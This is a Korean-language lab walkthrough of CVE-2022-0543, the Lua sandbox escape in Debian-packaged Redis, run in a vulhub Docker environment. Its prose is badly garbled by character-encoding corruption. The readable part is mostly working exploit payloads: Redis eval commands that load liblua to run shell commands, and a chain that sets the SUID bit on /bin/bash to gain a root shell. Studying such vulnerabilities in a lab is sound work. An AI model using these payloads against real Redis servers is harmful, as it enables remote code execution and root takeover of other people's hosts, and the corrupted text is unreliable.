Contributors
- Debian/Ubuntu์ ํจํค์ง ๋ฌธ์ ๋ก ์ธํด ์์์ Lua ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์๋ ์๊ฒฉ ๊ณต๊ฒฉ์๊ฐ Lua ์๋๋ฐ์ค๋ฅผ ํ์ถํ์ฌ ํธ์คํธ์์ ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
- https://github.com/vulhub/vulhub/tree/master/redis/CVE-2022-0543
- https://ine.com/blog/cve-20220543-lua-sandbox-escape-in-redis
- https://www.linode.com/ko/blog/security/linode-security-digest-cassandra-redis-snap-confine/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0543
- Redis๋ Key, Value ๊ตฌ์กฐ์ ๋น์ ํ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๊ณ ๊ด๋ฆฌํ๊ธฐ ์ํ ์คํ ์์ค ๊ธฐ๋ฐ์ ๋น๊ด๊ณํ ๋ฐ์ดํฐ ๋ฒ ์ด์ค ๊ด๋ฆฌ ์์คํ (DBMS)์ ๋๋ค.
- ๋ฐ์ดํฐ๋ฒ ์ด์ค, ์บ์, ๋ฉ์ธ์ง ๋ธ๋ก์ปค๋ก ์ฌ์ฉ๋๋ฉฐ ์ธ๋ฉ๋ชจ๋ฆฌ ๋ฐ์ดํฐ ๊ตฌ์กฐ๋ฅผ ๊ฐ์ง ์ ์ฅ์์ ๋๋ค.
- 2022๋ 2์ Redis์ ์ฌ๊ฐํ ์ทจ์ฝ์ ์ด ๋ณด๊ณ ๋์์ต๋๋ค. Redis๋ ํจํค์ง ๋ฌธ์ ๋ก ์ธํด (Debian ๊ด๋ จ) Lua ์๋๋ฐ์ค ์ด์ค์ผ์ดํ๊ฐ ๋ฐ์ํ๊ธฐ ์ฝ๊ณ ์ด๋ก ์ธํด ์๊ฒฉ ์ฝ๋๊ฐ ์คํ๋ ์ ์๋ ๊ฒ์ผ๋ก ๋ํ๋ฌ์ต๋๋ค.
- ์ฃผ๋ชฉํด์ผ ํ ์ค์ํ ์ ์ ์ด ์ทจ์ฝ์ ์ Debian ๋ฐ Debian ํ์ Linux ๋ฐฐํฌ๋ง์๋ง ์ ์ฉ๋๋ค๋ ๊ฒ์ ๋๋ค. ์ ์คํธ๋ฆผ Redis๋ ์ํฅ์ ๋ฐ์ง ์์ต๋๋ค.
- Reginaldo Silva๊ฐ Debian/Ubuntu์ ํจํค์ง ๋ฌธ์ ๋ก ์ธํด ์์์ Lua ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์๋ ์๊ฒฉ ๊ณต๊ฒฉ์๊ฐ Lua ์๋๋ฐ์ค๋ฅผ ์ด์ค์ผ์ดํํ์ฌ ํธ์คํธ์์ ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์์ ๋ฐ๊ฒฌํ์ต๋๋ค.
- ๊ทผ๋ณธ์ ์ธ ์์ธ์ Lua ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ Debian ๋์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก ์ ๊ณต๋ฉ๋๋ค. "ํจํค์ง"๋ณ์๊ฐ ์๋์ผ๋ก ์ฑ์์ง๋ฏ๋ก ์์์ Lua ๊ธฐ๋ฅ์ ๋ํ ์ก์ธ์ค๊ฐ ํ์ฉ๋ฉ๋๋ค. ์๋ฅผ ๋ค์ด ์ด ๊ธฐ๋ฅ์ "os"๋ชจ๋์ "execute" ํจ์๋ก ํ์ฅ๋๋ฉด ์์์ Lua ์ฝ๋๋ฅผ ์คํํ ์ ์๋ ๊ณต๊ฒฉ์๊ฐ ์์์ ์ ธ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค.
eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /root/redis_poc"); return 0' 0
- ํฐ๋ฏธ๋ ์ฐฝ์ ์ฐ ํ, ๋ค์ ๋ช ๋ น์ ์คํํ์ฌ Redis ์๋ฒ 5.0.7 ํ ์คํธ ํ๊ฒฝ์ ์คํํฉ๋๋ค.
docker compose up -d
- ์๋ฒ๊ฐ ์์๋ ํ ๋ค์ ๋ช
๋ น์ด๋ฅผ ํตํด ์๊ฒฉ ์ฆ๋ช
์์ด ์ด ์๋ฒ์ ์ฐ๊ฒฐํ ์ ์์ต๋๋ค. Redis ์๋ฒ์ ๊ธฐ๋ณธ ์ค์น์๋ ๋น๋ฐ๋ฒํธ๊ฐ ์๋ ๊ธฐ๋ณธ ์ฌ์ฉ์๊ฐ ํจ๊ป ์ ๊ณต๋ฉ๋๋ค.
redis-cli
redis-cli -h your-ip
- exit ๋ช ๋ น์ด๋ก ์ฐ๊ฒฐ์ ๋์ ํ, Docker๋ก ์ฐ redis ์๋ฒ์์ ๋ค์ ๋ช ๋ น์ด๋ก ์คํ ์ค์ธ ํ๋ก์ธ์ค๋ฅผ ์๋ณํฉ๋๋ค. (๊ธฐ๋ณธ ํฌํธ์ธ 6379์์ ์์ ๋๊ธฐ์ค์ด๋ฉฐ, Root๋ก ์คํ๋๊ณ ์์์ ํ์ธ)
ps aux
- Redis ์๋ฒ์ ๋ค์ ์ฐ๊ฒฐํฉ๋๋ค.
redis-cli
- PoC๋ ๊ณต์ Lua ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฐธ์กฐํ๊ธฐ ๋๋ฌธ์ ์ฌ์ฉ ๊ฐ๋ฅํ ๊ณต์ Lua ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ํ์ธํฉ๋๋ค.
ls -al /usr/lib/x86_64-linux-gnu/liblua*
- redis-cli๋ก ์ฐ๊ฒฐํ ํ ๋ค์ PoC ์ฝ๋๋ฅผ ์ ๋ ฅํฉ๋๋ค. (์ฃผ์ํ ์ : touch ๋ค์ ์๋ ๊ฒฝ๋ก๋ฅผ pwd๋ก ํ์ธํ์ฌ ํ์ธํ๊ธฐ ์ฝ๊ฒ ๋ณ๊ฒฝ)
redis-cli
eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /root/redis_poc"); return 0' 0
- ์ด์ redis-cli๋ฅผ ์ข ๋ฃํ๊ณ redis_poc ํ์ผ์ ํ์ธํฉ๋๋ค.
exit
ls -al
- redis-cli์ ์ฐ๊ฒฐํ๊ณ ๋ค์
id์ os ๋ช ๋ น์ ์คํํ๋ ํ์ด๋ก๋๋ฅผ ์ ๋ ฅํฉ๋๋ค.
redis-cli
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
- ๋ค์์ผ๋ก ๋ฃจํธ ์
ธ์ ์ป๊ธฐ ์ํด Lua ์๋๋ฐ์ค ์ด์ค์ผ์ดํ ์ต์คํ๋ก์์ ํ์ฉํ์ฌ
bash๋ฅผSUID๋ฃจํธ ๋ฐ์ด๋๋ฆฌ๋ก ๋ง๋ญ๋๋ค.
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -al /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("chmod +s /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -al /bin/bash", "r"); local res = f:read("*a"); f:close(); return res' 0
- redis-cli๋ฅผ ์ข ๋ฃํ๊ณ ๋ฃจํธ ์ ธ์ ์ป๊ธฐ ์ํด ๋ฃจํธ ์ฌ์ฉ์๋ก ๋ก๊ทธ์ธํฉ๋๋ค.
exit
/bin/bash -p
id
- ์ด ์ทจ์ฝ์ ์ Redis๊ฐ ๋ฐ๋น์ ๊ณ์ด์ ์ฐ๋ถํฌ ํจํค์ง ๋ฌธ์ ๋ก Lua ์๋๋ฐ์ค๋ฅผ ์ด์ค์ผ์ดํํ์ฌ ํธ์คํธ์์ ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์์ต๋๋ค. ๋ฐ๋ผ์ ์์ ํ redis ์๋ฒ๋ฅผ ์ด์ํ๊ธฐ ์ํด์ ์ฃผ๊ธฐ์ ์ผ๋ก redis ๋ฒ์ ์ ํ์ธํ๊ณ ์ ๋ฐ์ดํธ ํ๋ ๊ฒ์ด ํ์ํฉ๋๋ค.





